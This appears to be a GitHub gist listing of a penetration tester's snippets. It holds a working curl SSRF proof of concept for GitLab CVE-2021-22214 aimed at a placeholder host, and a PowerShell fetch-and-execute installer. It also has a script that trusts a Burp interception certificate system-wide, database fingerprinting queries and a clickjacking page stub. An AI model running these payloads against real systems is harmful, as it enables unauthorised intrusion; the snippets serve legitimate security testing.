Skip to content

Instantly share code, notes, and snippets.

Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'))
# Download Edge
cd ~\Downloads; Start-BitsTransfer "https://c2rsetup.officeapps.live.com/c2r/downloadEdge.aspx?platform=Default&source=EdgeStablePage&Channel=Stable&language=en&brand=M100" .\MicrosoftEdgeSetup.exe; Invoke-Expression .\MicrosoftEdgeSetup.exe
choco install git
@M507
M507 / gist:c3ce3989034b81fedc00161bddfbf497
Created October 16, 2024 12:02
Install Microsoft Edge Powershell
cd ~\Downloads; Start-BitsTransfer "https://c2rsetup.officeapps.live.com/c2r/downloadEdge.aspx?platform=Default&source=EdgeStablePage&Channel=Stable&language=en&brand=M100" .\MicrosoftEdgeSetup.exe; Invoke-Expression .\MicrosoftEdgeSetup.exe
ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
console.log('javaScriptEnabled: ', wk.configuration().preferences().javaScriptEnabled());
console.log('allowFileAccessFromFileURLs: ',
wk.configuration().preferences().valueForKey_('allowFileAccessFromFileURLs').toString());
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
console.log('allowUniversalAccessFromFileURLs: ',
wk.configuration().valueForKey_('allowUniversalAccessFromFileURLs').toString());
@M507
M507 / CVE-2021-22214.sh
Created January 2, 2024 19:57
CVE-2021-22214.sh
# https://github.com/Vulnmachines/gitlab-cve-2021-22214/blob/main/cve-2021-22214
curl -s -show-error -H 'Content-Type: application/json' https://127.0.0.7/api/v4/ci/lint -data '{ "include_merged_yaml": true, "content": "include:n remote: http://SSRFIP:PORT/api/v1/targets?test.yml"}'
@M507
M507 / AWS-CLI-V2_Burp-Suite.txt
Created January 1, 2024 01:34 — forked from 6e726d/AWS-CLI-V2_Burp-Suite.txt
HowTo set up AWS CLI version 2 to use Burp Suite
$ # HowTo set up AWS CLI version 2 to use Burp Suite
$
$ # Requirements: Burp Suite, curl
$
$ # 1. Installing AWS CLI version 2, configure and test
$
$ curl https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip -o Downloads/awscliv2.zip
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 33.5M 100 33.5M 0 0 6825k 0 0:00:05 0:00:05 --:--:-- 7290k
@M507
M507 / gist:159fb90525cd06740af7b0f036d0e640
Created December 31, 2023 23:49
Add burp cert to OS certificates file
#!/bin/bash
# Set the URL to the Burp Suite CA certificate
BURP_CERT_URL="http://burpserver:8080/cert"
# Set the path to the system's CA certificates file
CA_CERT_FILE="/etc/ssl/certs/ca-certificates.crt"
# Download Burp Suite CA certificate
curl -sSL "$BURP_CERT_URL" -o /tmp/burp-ca-cert.pem
@M507
M507 / ec2-metadata
Created December 29, 2023 20:17 — forked from copernicus/ec2-metadata
ec2-metadata: a simple tool for exploring Amazon EC2 metadata, extended with network and VPC info
#!/bin/bash
#
#########################################################################
#This software code is made available "AS IS" without warranties of any #
#kind. You may copy, display, modify and redistribute the software #
#code either by itself or as incorporated into your code; provided that #
#you do not remove any proprietary notices. Your use of this software #
#code is at your own risk and you waive any claim against Amazon #
#Digital Services, Inc. or its affiliates with respect to your use of #
#this software code. (c) 2006-2007 Amazon Digital Services, Inc. or its #
@M507
M507 / gist:2f414242c4abff2d5ed2fbfcbb3fe34f
Created December 20, 2023 03:15
retrieve information about the version of the database
SELECT version();
SHOW VARIABLES LIKE 'version';
SELECT @@version;
SELECT version();
SELECT @@version;
SELECT * FROM v$version;
SELECT * FROM $version;
SELECT SERVERPROPERTY('productversion'), SERVERPROPERTY('productlevel'), SERVERPROPERTY('edition');
SELECT sqlite_version();
@M507
M507 / gist:c499da28f89953f973e3c6e48e6e98c6
Created November 25, 2023 21:32
86a464881678c47bc3402b758fbdf404e47bd13a5de82554f2e60086670f391d
86a464881678c47bc3402b758fbdf404e47bd13a5de82554f2e60086670f391d
@M507
M507 / clickjacking.html
Created November 25, 2023 21:30
clickjacking.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>URL Opener</title>
</head>
<body>
<h1>URL Opener</h1>